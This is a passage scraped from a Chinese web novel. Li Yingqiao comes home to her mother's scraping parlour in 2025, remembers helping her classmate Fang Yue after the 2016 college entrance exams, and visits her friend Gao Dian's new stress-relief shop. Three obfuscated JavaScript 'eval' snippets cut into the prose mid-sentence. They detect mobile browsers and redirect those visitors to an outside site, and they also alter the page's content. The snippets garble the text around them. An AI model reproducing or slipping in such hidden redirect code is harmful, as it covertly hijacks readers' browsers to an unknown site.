一顿饭吃得相当沉闷,餐桌上只有李映桥还在绞尽脑汁地活跃气氛,冲朱小亮和俞津杨分别眨眨眼睛,在他俩的配合下,将桌上每道菜都狠狠夸了一番,连她一向不爱吃的榨菜都给了相当高的评价。李姝莉是一声不吭,只埋头吃饭,朱小亮开始责怪自己的贸然。 殊不知李姝莉只是太久没和男人一起吃饭,有点烦,只想赶紧吃完饭去洗碗,朱小亮也察觉到她的窘迫,匆匆快速扒完碗里的饭,随机拉着俞津杨起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞人杰很着急,急出一脑门子汗和一堆爷爷,但还是保持镇定回头和两人说,“儿子,快,我现在把车门打开,你俩跳车下去,这个速度顶多蹭点皮,不会有事的,相信爸爸。靠,我就说这种二手车不能买,刹车片坏了。” 俞津杨和高典:“…………” 于是,那辆大黄蜂就这么一遍遍地在李映桥和郑妙嘉面前绕着圈。 每一遍,高典都趴在车窗上:“偶像,救命啊!!!” 李映桥:“……” 这怎么救,她又不是超人。 好在,交警叔叔们来了,救他们于水火中,高典一下车把自己从头到脚检查了一遍,连连给他们鞠躬,边走边回头还鞠躬,走出老远还惊魂未定,发誓再也不坐节日哥的车了。李映桥也趁机说:“以后别叫我偶像了,咱们都上高中了,高典。警察叔叔们才是你的偶像。” “好了好了,要上课了。被你爸一耽搁,我们四个人都要迟到!” “快,四万块,跑起来。” “来,俞津杨,后脑勺过来。” “警告你一下,梁老师说了,高中三年,你碰我后脑勺一次,罚你用斐波那契数列写检讨书,第一次免你一次,第二次开始50个字,第三次也是50个字,第四次100个字,以此类推……” “梁梅是不是偏心你啊,凭什么只罚我。” “我又没某人手那么欠。” “好啊,检讨书是吧,俞喵喵,你等着,我给你写情书。” “……李映桥!” “叫什么叫,回你得重点班去吧,走了!今天放学要去看谭老师,别忘了。” *** 谭秀筠比他们想象中要年轻很多,看着也不像黑面罗刹,至少墓碑上的照片看起来太像,反而很温柔。这么看,五官像一汪平静的湖水,她笑起来的样子是湖水轻轻泛起涟漪,携带着春风的暖意,李映桥也能想象到她暴脾气发作时,会像梁梅一样,紧紧锁着前额,是一汪湖水里最湍急的涡流。 李映桥一直觉得年长的女人都像河流,她们大多数时候平静无澜,可也有波涛汹涌的壮阔,她们湍湍地赶着路奔赴着更广阔的海洋,可也在巍峨的群山间静静流淌着。李姝莉是这样的,谭秀筠听着似乎也是这样的人。 她与她静默对视着—— “谭老师,你好,终于见面咯,以后会常常见面。” “我叫李映桥。” “是梁梅老师最烦的学生。” “但我会考上理想中的大学,再来给您送很多很多很多您吃不完的水果。听说您最喜欢吃水果了。” ———第一卷完——————— 22.第二十一章 二零二五年,丰潭。 丰潭的夏日总泛着些闷。那热气外面好像裹着一层濡湿绵绸的秋裤,拧又拧不干,散也散不开,脚踩在蒸腾的地面上,像是走进发霉潮热的蒸笼里。所以,这座城市一到七八月份,刮痧馆的生意就爆满。 李姝莉的刮痧馆向来生意冷清,可今年闷热得有点邪乎,其他刮痧馆人员爆满。她这边自然也落不下,接二连三地有客人进门来,给李姝莉忙晕头了,连自己女儿提着行李进门,也没察觉,只当是要刮痧的客人,头也不回地淡声说:“现在没空房间了,能等吗?” 身后的人没吭声,也没离去。 生意确实不错,李姝莉作为刮痧馆的老板娘自己都亲自上阵,按摩床上躺着一扇肉乎乎的大猪排,她正费劲地找着穴位,没听见身后客人回应,这才回头漫不经心地问了句:“能等吗?不能等去对面——” 李映桥站在原地,行李箱放在脚边,手扶着,嘴角咧开一道奸计得逞的笑容,哈哈一笑:“姝莉啊,你这么忙呢。” 李姝莉直直盯着她,视线像被磁铁吸住了,没接她话,而是“啪”一声在男人背上猛一拍,扬声叫柜台后头躲闲的人出来接她手里的活儿,“以冬,孟以冬!出来!出来!” 男人被拍得“嗷”叫了声,不甘心地说:“老板娘!别走啊,小孟没你这劲儿!” 李姝莉这几年变化不小,那个在饭桌上和朱小亮坐一桌吃饭都别扭的女人,对赤条条的大猪排也能耐下性子说:“先让小孟给你踩踩背,我女儿从北京回来了,坐了七八个小时的高铁。她肯定没吃饭,我先给她下碗面条,你等会儿啊,晚点我回来给你拔罐。” 男人趴在狭窄的按摩床上,肉都溢出了,抬头看了眼李映桥,说:“哟,咱们数一数二的名牌大学生回来了啊。行行行,你去吧,让小孟来吧。” 孟以冬是李姝莉前两年招的学徒,年纪和李映桥一边儿大。在外面这几年,李映桥时常在电话里听李姝莉说起以冬,但从没见过她,两人也从没直接对过话。李映桥曾跟李姝莉索要过照片,但李姝莉说孟以冬害羞,不肯给,她也没强求。 此时云好友见面。李映桥目光静候已久,只见柜台后一个女孩儿懒洋洋地直起身,穿着件宽大的T恤和短裤,个头和李映桥齐高,剃着利落的平头,一条细蛇纹身从她锁骨蜿蜒至她的耳后,抬眼的瞬间刚好对上李映桥直白想打招呼的眼神。 孟以冬说话的气质,和她第一眼给人锐利狠戾的印象落了一大截,有种愣愣的木讷感:“映……桥姐。” 李映桥率先伸出手,笑笑说:“以冬,终于见面咯。” 孟以冬见过李映桥照片,很多。她隔三差五就给李姝莉发照片汇报近况——有单独四十五度角仰望天空黯然神伤的,也有和朋友聚会大闹会所的,还有出去旅游时被羊驼吐了口唾沫的、被鸟屎攻击的,就连有时候水管爆了,家被淹了,正在洗澡的她也要顶着满头泡沫拍一张,发给李姝莉看看,她此刻正在吃生活的苦。无一例外,都挺狼狈的。 孟以冬第一次见到这么体面正经的李映桥,刚伸出的手有些无措地收回来,在T恤上来回搓了搓,才握住她的。李映桥被她的反应逗笑了,大方道:“你先忙吧,晚点聊。” 李映桥这几年被工作绑着,回来能待的时间少之又少,要么今天回来,临时接到电话就又得买票回北京,有一年春节都没能赶回来。李姝莉也不知道她这趟回来能待多久,保不齐接个电话又要走了,总之每次都很匆促。 李姝莉把摊子交给孟以冬,自己进了卫生间,一边拿肥皂匆匆搓着手,一边和女儿讲说:“桥桥你等下,妈妈洗个手,马上给你下碗面,是不是很饿了?你怎么这次回来没有提前说一声,不然今天我就关门了。” “不用,我在高铁上吃过盒饭了,”李映桥靠在卫生间的洗手池上和她讲,目光却散漫地四处睃巡着说,“我这次回来会待一段时间,我打算给自己休个假。” “啊?那个无良老板肯让你休假了?” “没有,我辞职了。”她笑着眨眨眼说。 “那也行,”李姝莉是怎么都行,搓肥皂的手也慢了下来,“你真吃过了?高铁上的盒饭能吃吗?” “怎么不能吃,六十块一份呢。” 李姝莉有一年出去旅游,吃过一次,至今回想起来都肉痛,“我不如咬我自己一口,肉还新鲜点。” 李映桥笑笑,微微侧着头,坦然自若地问李姝莉:“怎么样,最近丰潭有什么关于我的八卦吗?” 自从李映桥高考后,离开丰潭去了北京求学,丰潭反倒全是她的传言,毕业那年她刚实习,签了个医疗器械公司,但那家公司注册的名字叫晟之美生物科技有限公司,也不知道哪个大聪明看见科技俩字就谣传她进了互联网大厂。 又不知道从哪年开始,谣传她改行去卖羊绒衫。有一年更离谱,那年春节公司一个重点医疗项目临时换将,李映桥作为从头到尾唯一了解项目的核心人员被迫留在公司啃盒饭,那年连春节也没回来。 没多久晟之美在网上爆大雷公司面临清盘,李映桥那会儿正在北京忙着找工作,也没回丰潭,但晟之美爆大雷这事儿闹得沸沸扬扬,有人传她卷公司的钱跑了,也有说她陪老板坐牢去的,总之各种谣言甚嚣尘上,李映桥自己也跟看乐子似的,可见丰潭这么多年,就没能出个新的话题人物。 李姝莉关掉水,一边擦手一边瞥她一眼,“你只要少和你舅舅来往,谣言就没有了,你还不知道咋回事吗?不都是他在外面吹的?他和那个节日头那么多年死对头,高考你压过人儿子了,他当然要显摆了,逢人就发疯,说她外甥女在外头是个市场部大总监,这两年扶摇直上。路过的狗都恨不得撒泡尿给它照照,看看能不能显出个人形来,好让他接着吹。” 李映桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581101|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不吭声。 李姝莉转身出去,还是打算给她下碗面洗洗胃:“对了,前两天小糕点来过——” 门外,孟以冬正给大猪排擦精油,大猪排怒斥:“没吃饭吗!小孟!用点劲儿。” 李映桥经过好心递给她一张凳子,口型说:“抡他。” “……” 不等孟以冬反应,李映桥被李姝莉揪着脖子拖走了,“少在那给我捣乱。” “反正他也欠,我上吧,我劲儿大。”李映桥跃跃欲试说。 李姝莉没理她,从柜子里拿出一把面条,回头看她说:“你知道膻中穴在哪吗?” “我知道笑穴在哪。”李映桥嘿嘿一笑,两手装模作样往后背一戳,“点上了,哈哈哈……” “……” 李姝莉翻了白眼,不跟她胡扯,把锅打开,往里头舀水说:“高典前两天来过,他也回来开店了,前两年在深圳创业,听说亏了他爸妈不少钱。哎,你们这几个小孩,这几年在外面都没联系吗?我听高典的意思,他好像也有好几年没见你了。” 李映桥正在餐桌上捡了颗花生米往嘴里塞,也如实说:“其实大学前两年还联系着呢,有一年我们还约着想去旅游来着,但谁放了鸽子我忘了,应该是喵吧,他不要太忙。后来毕业了大家都忙着工作,哪有时间天天联系,我和妙嘉都约不上,别说还要凑四个人的时间。高典开了个什么店啊?” 李映桥想起来,她和俞津杨似乎连微信都没加,他们高中的时候学校里还是盛行q.q,她的q.q分组里,他们几个还在她的特殊分组里,后来上了大学后,也都习惯q.q联系。等到微信无孔不入成为了最普遍的社交软件时,他们几个已经很少联系。俞津杨更是,在上海读了两年大学,就被他爹送出国深造去了,只是那两年刚好疫情,他想回还回不来。 李姝莉捏着面条等水煮开,下巴一扬,让她自己拿桌上那个宣传单页看,“我看不懂,反正也是什么按摩中心吧,这小子真行,一回来就跟我抢生意。” 李映桥拿过单页靠在墙上,定睛一看,笑出声:“这抢不了您生意,他那就小孩玩的。” 类似那种心理发泄中心,什么拳击手套、沙袋、各种泡沫棒、大锤、树脂爆浆液体之类的。还可以定制各种发泄道具,当然前提是没有人身伤害的危险。不然要是一个不正规,随时还面临倒闭的风险。 这种在大城市开还行,在小县城开这个,也不知道高典是不是钱多烧得慌,还不如开个麻将馆。不过她目光扫到最后一行,李映桥乐了。 小糕点怎么疯了。 ——本馆接受角色类扮演:渣前任、渣老板、渣爹、渣同事、渣老公……保证给您贵宾级体验,五百一小时,绝不还嘴。 PS:动手的话,店主以及本店股东人均一米八八,每个人都会一种奇门遁甲之术——在一秒钟之内准确拨打110。 23.第二十二章(二更合一) 李映桥回来这小半月足不出户,除开上周去了趟墓园,其余的时间窝在家里刷剧,报复性地补刷这几年因为工作落下的动漫番剧。终于在连熬两个通宵后,她中暑了。 其实小时候她身强体健不常中暑,俞津杨倒是经常被她捶出一片片红砂。可自从上高中后,在学业的高压下,她开始疏于锻炼,隔三差五就中暑,尤其高三,光刮痧已经好不了了。反倒是一直坚持练舞的俞津杨不怎么再中暑。 于是她暗暗发誓,她一定要考出去,一定要考出去,一定要从这里考出去,考到名牌大学去。 其实一六年S省高考放榜还挺热闹的。除了那位凭着一己之力让睿军这所普高往后几年招生率直线飙升的庆宜小黑马和庆宜一中那位裸分考上700、结果却因为没考自选差点要被父母送出国的神人之外—— 丰潭中学那年也出乎所有人意料地爆了匹黑马,甚至直接力压庆宜宗山一众文科大拿,一举拿下那年S省的文科魁首,而且也是丰潭乃至南来整个市,至今为止唯一一位省状元。 这人是李映桥的同桌,叫方玥,和他们还是老乡,也是当年镇上那批拆迁户之一,只不过她没有搬到小画城,而是跟着姥爷去了乡下读书,她没有李映桥那么幸运,全靠着自己一步步考进潭中。 方玥一向沉默寡言,高考结束那天却一反常态给李映桥留了身份证和准考证号让她帮忙查一下成绩后就再无音讯。但出分当天,李映桥没有查到方玥的成绩,她被锁分了,只知道她的排名在全省前五十。 在锁分四天后,李映桥从班主任老米那了解到方玥的成绩,但方玥本人一直都没联系上,李映桥怕她错过填志愿的最佳时期,当天晚上就拉着俞津杨几个人去乡下找方玥。 方玥没有留过电话给她,甚至连具体的住址都没有告诉过她,反倒是俞津杨听闻后,沉默片刻说他可能知道方玥家在哪。 那晚下着小雨,他们几个一下中巴车,踩着泥泞的黄泥小路往方玥家走,雨丝绵密,很快他们的鞋子都溅满泥点。郑妙嘉和高典没来过这么偏僻的乡下,漆黑的田野一望无际,连户人家都看不见。 两人战战兢兢一路,每走几步就要问俞津杨还有多远。 俞津杨总是不紧不慢地回,快了。 后来李映桥也忍不住问,还有多远。 俞津杨依旧漫不经心地应着说,两分钟。 就这样被他一路连哄带骗,三人在此起彼伏的蛙叫声中,深一脚浅一脚地走完了那条一眼都望不到尽头的乡间小路。 李映桥也从没来过这儿,她低头看着自己刚买的白球鞋不免悲从中来,她哪能想到自己找方玥找到这么个鸟不拉屎鸡不生蛋的地方,她有些懊恼,早知道该换一双鞋再来。 然而方玥并不在家,土坯房里只有一个头发蓬乱、腿脚看起来不太方便的女人,正坐在矮凳上拿着根玉米棒哄小孩,一听又是来找方玥的,随手抄起一旁的扫帚要将他们赶出去。 高典个子最高目标大,被击中的频率最高,被方玥妈妈打得满屋子乱跑,后来,李映桥大声说他们只是方玥的同学,高考出成绩了!方玥妈妈这才停下来,定睛盯了她旁边的俞津杨几秒后,突然转身进屋去,拿了个包着钱的红色塑料袋,扔给俞津杨说:“我认得你,你别再来了。别再来了!” 也不顾他们再说什么,直接连人带钱将他们往门外搡。 他们再次沿着来时阒寂漆黑的乡间小路往中巴站走去,已经没刚才那么怕了,蛙鸣声显得都有些亲切了。这会儿雨停了,月亮在山岭间又慢慢熨出个轮廓出来。 残月的清辉下,仿佛在用最后的余温抚摸着这座大山的轮廓,而往日看着巍峨的山脊,此刻在清白的月色下,竟露出些瘦骨嶙峋的贫瘠。 几人齐齐望着天,又齐齐叹了口气—— 哎。 回去的路上,高典终于忍不住问俞津杨:“喵仔,你怎么知道方玥家在这,她欠你们钱啊?” “她爸爸之前在我爸厂里上班,之前厂里罢工的事儿,就是她爸爸带的头,我跟我爸来过他们家几趟,也是来了之后才知道,这是方玥家。有一次我爸非要炫他的车技,说要把车开到方玥家门口,结果车轮卡沟里,就那个位置,草到现在都没长出来。” 俞津杨慢悠悠走着,目光朝路旁一瞥,果然沟岭旁有一块荒地里的杂草软趴趴地塌下去一片,像遗传性极高又无法根治的斑秃。 “造孽啊,”高典叹息,“……这个四一哥,上次咱俩开学他撞歪的那颗树给栽回去了没?” “栽了。本来想栽一棵苹果树,被交警部门骂了一通,老老实实又换了棵梧桐。” “你爹咋想的,那边本来就堵,还放棵苹果树,这结果了,谁路过都得停车去摘一颗。” “他说怕咱们上课饿。” “……” “…………” 走了近半程,李映桥一言不发,俞津杨瞥她一眼,放慢了脚步说:“还在想方玥的事?你一天天东窜西窜地忙着别人的事儿,别最后把自己的事情耽误了。” “怎么可能,”李映桥头也不抬说,低着头专心避开路上的小泥坑,“梁老师和朱小亮都给我分析过了,耽误不了。” “那是,你毕竟全省第十。甘拜下风了,朱小亮和胡正打电话时,手都在抖,认识他这么久,我就没见过他这么激动。” 李映桥瞥他一眼,想起来,“难怪你那会儿站在鱼缸边上一动不动,保护小金鱼们呢?” 俞津杨笑了声,把手揣进裤兜里,话里难得有揶揄的成分:“认真讲,梁老师要养金鱼这件事,我从头到尾都是举双手双脚反对的。” 李映桥也乐了下,“所以后来我们每次补习你一进门,第一件事就是先去鱼缸那边数金鱼的条数?方玥都说你多少有点毛病。她是不信朱小亮会吃的。” “那你说我有没有毛病?”俞津杨问了句。 “有点。”李映桥不带犹豫的。 “……” 不高兴了,正冷眼瞪她呢。 李映桥笑起来:“不至于吧,喵,你现在这么斤斤计较呢。” “斤斤计较?”他说,“李映桥,那你别忘了,你检讨书欠我三十三万八千二百五十个字了。” “欠着吧,有本事来北京讨咯。” 她俨然一副债多不压身、虱子多了不怕痒的顽皮赖子口气说的。 “……” “喵,你要记得来北京找我玩。” “不要,我不跟‘征信’有问题的人玩。你上我‘征信’黑名单了。” “那你把我放出来呗。” “三十三万八千——” “黑着吧,黑着吧,一辈子别联系了。” “你说的。” “我说的!” “你说话跟放屁一样。”他说。 “你不光放屁,你放P还带着UA呢!”李映桥在他耳边振振有词地回击,“是是是,俞喵喵,你放的P最A了!这样可以了吧。” 俞津杨:“……………………” 方玥是高三加入他们的。 认真讲起来,丰潭若不是那年方玥考出这么个石破天惊的成绩吸引了所有人的注意力,李映桥的成绩放在一六年也很出乎意料地亮眼——她从花钱买进潭中,到高二分班考试跌破所有人眼镜,直接考进文科重点班前十,之后就稳居年段前十,那时方玥的成绩都还不如她。 方玥是高二文理分科之后和李映桥分进一个文科班的,方玥很内向,班级活动基本上能躲就躲,因为方玥左侧脸颊上有一块占了小半张脸的乌青胎记,初中时就因为这块胎记在乡下被同学排挤孤立。 考上潭中后,方玥自觉也不太合群,主动跟老师申请坐在教室窗户边最后一排的角落位置,这样她左脸颊的胎记就只会对着窗外,没有人会注意,就这样相安无事地度过高一整年。 高二分到文科班后,文科班的老师不愿意给她这个特殊待遇,因为方玥长期营养不良导致她个子不太高,后排基本上已经被个子高的男生占据。 丰潭又不允许男女同桌,即使为她破例,也没有男生愿意陪着她坐在那个犄角旮旯的位置两年都不动弹的。 毕竟在枯燥无味的学习生涯里,偶尔挪动一下座位,保不齐就挪到自己有好感的人面前,哪怕离得稍微近点的那个星期起得都早点。 要是有男生真愿意陪她一动不动的,那更糟,老师还得仔细琢磨这里头的动机。 幸好那个时候班里还有个李映桥,她个子不矮,人又开朗。米娜就找她聊方玥的事情,其实也做好了被拒绝的准备,却没想到李映桥同志答应得很爽快,让米娜好生感动。 本以为李映桥这样的性格会带动着方玥融入集体,结果没想到,方玥把李映桥也带孤僻了,高三两人几乎任何班级活动都不参加,时间全用来刷题看书。 但米娜不知道的是,李映桥带着方玥一起加入了他们自己的补习小组,在朱小亮层出不穷的数学折磨下,和俞津杨不厌其烦的英文语法逐步讲解,还有妙嘉栩栩如生的绘画加持,加上李映桥各种昆虫标本的刺激,最后再由高典的海豹式鼓掌的激情应援下——方玥的成绩几乎是突飞猛进,排名一下从全校一百左右升至前十,方玥的短板过于明显,英文更是她短板中的短板,一旦突破这块短板,她的成绩就有了显著提升。 最后一次三模考,成绩单发下来那天,方玥总分已经突破700大关。 还是李映桥率先看到成绩,一到梁梅家就迫不及待拿出卷子和俞津杨他们显摆:“看看,看看,我第一次看到这么高的分。方玥,你要是高考能考出这个成绩的话,保底能上咱们省内的S大。” 不等俞津杨他们几个表态,李映桥又立马发现了几个不该失分的点,拿起笔就给她圈出来—— “这里怎么还错呢,完形填空这几个地方不该失分的,你好粗心啊,高考一定要多检查几遍,说不定高考能冲进全省前十。” 李映桥对学习最魔怔的时候,就是高三最后几个月。她完全沉迷在方玥漂亮的分数里,拖过方玥的英语卷子,迫不及待地帮她分析一道道错题,“呐,这个地方‘While’表让步转折,不是时间状语,这个地方不该错哎,喵讲过很多遍了,高典都对了——” 高典低头看了眼自己叉叉多得能去河里叉鱼的卷子,挠挠头说:“我都不知道我选对了,我纯蒙的。” 李映桥头也不抬一边给方玥找不该失分的点,一边还不忘给他耐心解释说:“你上次也这么蒙对过一次啊。英语是有语感的,你能蒙对第一次,就能蒙对第二次,多蒙几次,就能蒙出感情,蒙出直觉。这题跟你会了没什么区别。” 说完,她又指指方玥,“但你不能蒙,一般咱们学霸知道的干扰信息比较多,很容易选岔了。” …… 最终,他们几人在一家网吧里找到方玥,方玥自从高考结束就在这家网吧打了小半个月的工,白天替人看机子,晚上就在柜台底下支了张行军床睡俩小时。行军床上铺了好几本招生简章,见这情况,李映桥也知道她应该自己查过成绩了。 她那颗悬着的心终于放回肚子里,但因为这几天找人找的精疲力尽,晚上几乎也没睡好生怕她错过志愿,火气完全就没压住,说出的话也犯冲:“你应该知道自己的成绩了吧,A大招生办的人已经去过你家好几趟了,老师都急疯了,怎么都联系不上你,你到底搞什么啊!方玥,所有人都在为你着急,你结果躲在这里!再提醒你一遍啊,最后截止日期是明天下午五点半之前,错过时间你就哭去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593829|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!好了,你交代我的事情办完了。” 一伙人浩浩荡荡这么冲进来,劈头盖脸就把方玥骂了一通,网吧主管还以为方玥结错账了,刚要说话,被朱小亮和梁梅拉到一旁,几个小孩直愣愣地杵在柜台旁围着方玥,李映桥就目光如炬地瞪着她,要方玥给她一个说法:“你到底怎么想的,你是觉得自己考得不好躲起来吗?还是要怎样?你好歹也跟我说一声,什么都不说就让我帮你查个成绩,考这么个成绩出来,你人还搞失踪,我们都快报警了!” 方玥始终不吭声,她向来不善表达。指尖在柜台上都掐白了,喉咙里像堵了块烧红的炭似的,她看看俞津杨又看看李映桥,耳朵都烧红了,一路烧到脖子,她越着急,越不知道怎么解释。 俞津杨把李映桥拉到自己身后,看着她低声说:“你冷静下。” 然后他把之前从方玥妈妈那里拿的一个红色塑料袋递给方玥,他目光沉静平淡,越显出一旁的方玥脸要涨成猪肝色了。 俞津杨说:“我们去了一趟你家,这是你妈扔给我们的,里面的钱我当着他们的面都一起数过,刚好八百,这几天都是暂时放在我这里,我没有动,你自己点一下。你如果有什么事可以跟我们说一声,我们一起想办法。李映桥只是担心你错过志愿,她这几天自己的志愿都没认真弄,全在找你。可能说话比较冲,你别介意,你志愿填好了没?” 在俞津杨不紧不慢的引导下,方玥终于找到切入口,这个问题回答得最简单直接:“填好的。” 李映桥肉眼可见地松了口气,转身就往外走:“那我不管你了,下次别这样随便给人留个东西就一声不吭地失踪。” “李映桥!”方玥忙叫住她,“我只是觉得你看到我的成绩会高兴,才让你帮我查成绩的。” “高兴个屁啊我——”李映桥走出去两步,又回头瞪她,噔噔噔两步就走回来说,“我这两天被你吓得小心脏扑通扑通的,我都不知道你脑子里在想什么,方玥,你是不是有什么事儿?你家里人是不是要把你卖掉吗?” 方玥摇摇头,忙说:“没有没有,我只是想打工赚点上大学的生活费,让你帮我查成绩,我是觉得我考得非常不错,所以我觉得你看到我的成绩会高兴,所以我才给你留了准考证号,因为我没有手机,我……也不知道怎么找你,我不知道你会这么着急。对不起啊,李映桥。” 高典说:“啊?那我们去你家,你妈妈可凶悍了,拿扫帚疯狂扫我。” 方玥说:“我妈妈精神状态不太好,她估计以为你们是要债的上门,俞津杨之前去过我家,她可能把俞津杨当作是我爸债主的儿子了。” “……” “……” “……” 啊—— 李映桥仰天对着网吧的天花板长嚎了一声,索性越过柜台去,两手掐着她的脖子狠狠来回猛晃,咬牙切齿地一个字一个字往外蹦:“方、玥!啊,我真无语了,我真想掐死你啊。” 方玥被她摇得更红了,宛如一只熟透的虾,肉都快柴了。 半晌后,李映桥终于松开钳制住她的手,说:“你早说啊,我把我的电话留给你啊!再不济,你可以去梁梅那里找我嘛!再说,你考出这个成绩,我就算不想知道,也立马就知道了好吧。” “那我……也没想到,我能考成这样——” 李映桥泄了口气,又搂了搂她:“算了,算了,你没事就最好了。吓死我了,我还以为你和喵喵中考那会儿一样,被人绑架了,你没事就好,没事就好。你在这里工资高吗?” 一旁梁梅、朱小亮、俞津杨三人默默对视一眼,都从彼此的眼神里看出一丝同病相怜——跟他们三个面前犟得跟头倔驴似的李映桥,原来在省状元面前这么好哄。 “还行,一天能有一百。”方玥说。 “赚钱的事儿你找我啊,我带你干啊。” “对啊,你找桥桥啊,她可有门路了!”郑妙嘉终于也插上嘴说,“我的语文书,她都能在跳蚤市场给我拍出高价。” “全是一堆肌肉李白,肌肉杜甫,别人见都没见过,能卖不出高价吗?”李映桥说,“还是卖便宜了,妙嘉,你以后绝对是个大画手,她还画过秃头的高典,和光头俞津杨。哈哈哈——” 几人叽里呱啦热火朝天的讨论半天后,得知俩女生的成绩后,方玥突然想起来:“俞津杨,高典,你们俩呢?” 郑妙嘉扬手一一给方玥声情并茂地介绍过去:“一个卡裆哥,一个万年老三。” 高典:“……” 俞津杨:“…………” 丰潭中学每年一批上线率并不少,每年至少也有四百人,只是全省前一百的占有率很少,潭中每年能考进全省前一百的都不到五人,唯独一六年异军突起,那年有十人跻身百强。 文科丰潭更是佛光普照,前十独占两席,除此都在五十名开外。俞津杨理科全省第八十四,仍旧是全县第三,和小升初那年排名一样。高典则是一分不多一分不少地卡着重点线上了。 那会儿他俩已经回家,高典去他家蹭空调,还在笑他这个万年老三,甚至还煞有介事地提醒他说,以后可千万别给人当三啊。俞津杨刚跳完舞,一头汗盘腿在舞蹈室的地板上坐下来,听见高典在那捣鼓他的黑胶唱片,单手撑着从背后劈手给夺回来,冷着声说:“卡裆哥,你有什么意见吗?” “……” “李映桥说得没错,你现在是有点斤斤计较了。喵仔。”高典回过头,还厚颜无耻地勾着他的肩膀说。 “走开,”俞津杨给他抖落,不让他搭自己,低着头将唱片全部放回去,“她还说我放屁都是香的,你怎么没记住。” “是吗,她是这么讲的?可是她也说过,”高典说,“你太矮了,完全不是她的菜。” 24.第二十三章 高典的发泄馆开在丰潭新开的一家商场写字楼里,旁边就是因为经营不善而倒闭的木制玩具城,落魄不堪不说,牌匾都掉得只剩几个偏旁部首,结合四周灰扑扑的城市建设,视觉冲击很强烈,仿佛这座几乎门可罗雀的商场才是二十一世纪二十年代中期的海市蜃景。 李映桥开孟以冬的车,车身很短,黑白相间的配色,车灯圆鼓鼓,慢慢滚的时候像一只慵懒爬行的小熊猫,和小孟本人外形强烈反差。 她把车停进地下车库,从观光电梯上去,终于在十三层的走廊尽头找到发泄馆的07室房间。 正巧这时隔壁有人出来站在走廊尽头的窗户边上抽烟,点火的时候听见脚步声,循声望来,估计以为是有生意上门,抬头就问她:“有预约吗?” 李映桥觉得这人有点眼熟,应该是她以前在学校的同学,但一下子想不起来对方叫什么,正当她要问高典在吗,房间里头有一道熟悉的声音传出来—— “真不再考虑一下啊?那边现在虽然是个野生景区,但马上就有旅投公司进来,到时候政府一接管,那边肯定会打造成丰潭当地的网红景点,客流量绝对是不可预估的。你那时候再加入,租金肯定得翻倍,那就不是现在这个价了。” “不是你这人放p怎么还带着ua的!叔,这两年我们没少被你骗——” 咦?是高典。 门口这人也没再顾上和她讲话,而是不耐烦地把烟给揉断扔进垃圾桶里,转身一个箭步冲进去,揪着对方的后领子,把人给轰出来说:“你也就在这忽悠忽悠我们,这两年搞得那些个网红景点,有一个算一个,你告诉我,哪个是赚钱的?靠什么赚的?就靠收那五块钱的门票?还是私底下那些抹不平的灰色收入啊?我说句难听的,就这么个弹丸之地,再怎么鸟枪换炮,也折腾不出什么东西来,还网红景区,做你的春秋大梦吧!” 被轰出来的中年男人也没了最后体面,脸红脖子粗地站在走廊里想要反击,奈何却发现无论从横向还是纵向气势都被面前这两个年轻人压得死死的,他只好恼羞成怒地指着高典说:“小糕点!你现在是翅膀硬了啊!” 说着,他又气急败坏地瞥了眼旁边这个大高个胳膊上的纹身,“跟这些个小混混来往,你也变成流氓了你!” 更气人的是,面前这俩大高个跟堵人墙似的,完全把他堵得严丝合缝,连只苍蝇都卡不过去。哪怕他现在把胳膊抡圆了要跟对方拼老命,拳头估计也砸不到对方脸上,以这个身高差距顶多是象征性地捶一下对方的胸口。 长江后浪推前浪,他这个前浪要被这些后浪们按在沙滩上来回摩擦了,一想到这种可能性就更是气得他的脸就跟个红绿灯似的,红一阵黄一阵又绿了。 “整个丰潭的混混,谁还没听过李叔您的大名,您现在是跟着李书记洗心革面,钱都洗干净了,开始贼喊捉贼了是吧,说实话,我要不是,看在你是李映桥的舅舅份上——”话音刚落,高典约莫是察觉到走廊这边从始至终有一道视线,不经意抬头瞥了眼,话语突然戛然而止。 整个走廊噤若寒蝉,旁边的高个也顺着高典的视线看过去,他终于想起来,刚才为什么觉得这女的有点眼熟了,一拍脑门脱口而出:“靠,这不是那谁!你们潭中的,高考很牛逼那个。” 高典此刻也顾不上他,整个人僵着杵在门框里,目光生了根似的扎在对面那人身上,半晌才想起来问她:“你什么时候回来的?” 中年男人也跟着他俩的声音回过头,果然看见自家外甥女站在走廊的拐角处,不过完全拿他当空气,冲高典扬起一抹熟悉又灿烂的笑容,她踱步走上前,往屋内张望了一眼,语气有种大公无私的坦然:“小半月了。我妈说你开了个按摩馆,我来看看,你们在吵什么呢?” 这会儿她才把目光落在李武声身上。 李武声瞬间感觉自己翻身农奴把歌唱,有人撑腰了,本来都要佝下去的背瞬间又直挺挺起来,活像只斗鸡,趾高气扬地看着高典,权等着李映桥为他做主。 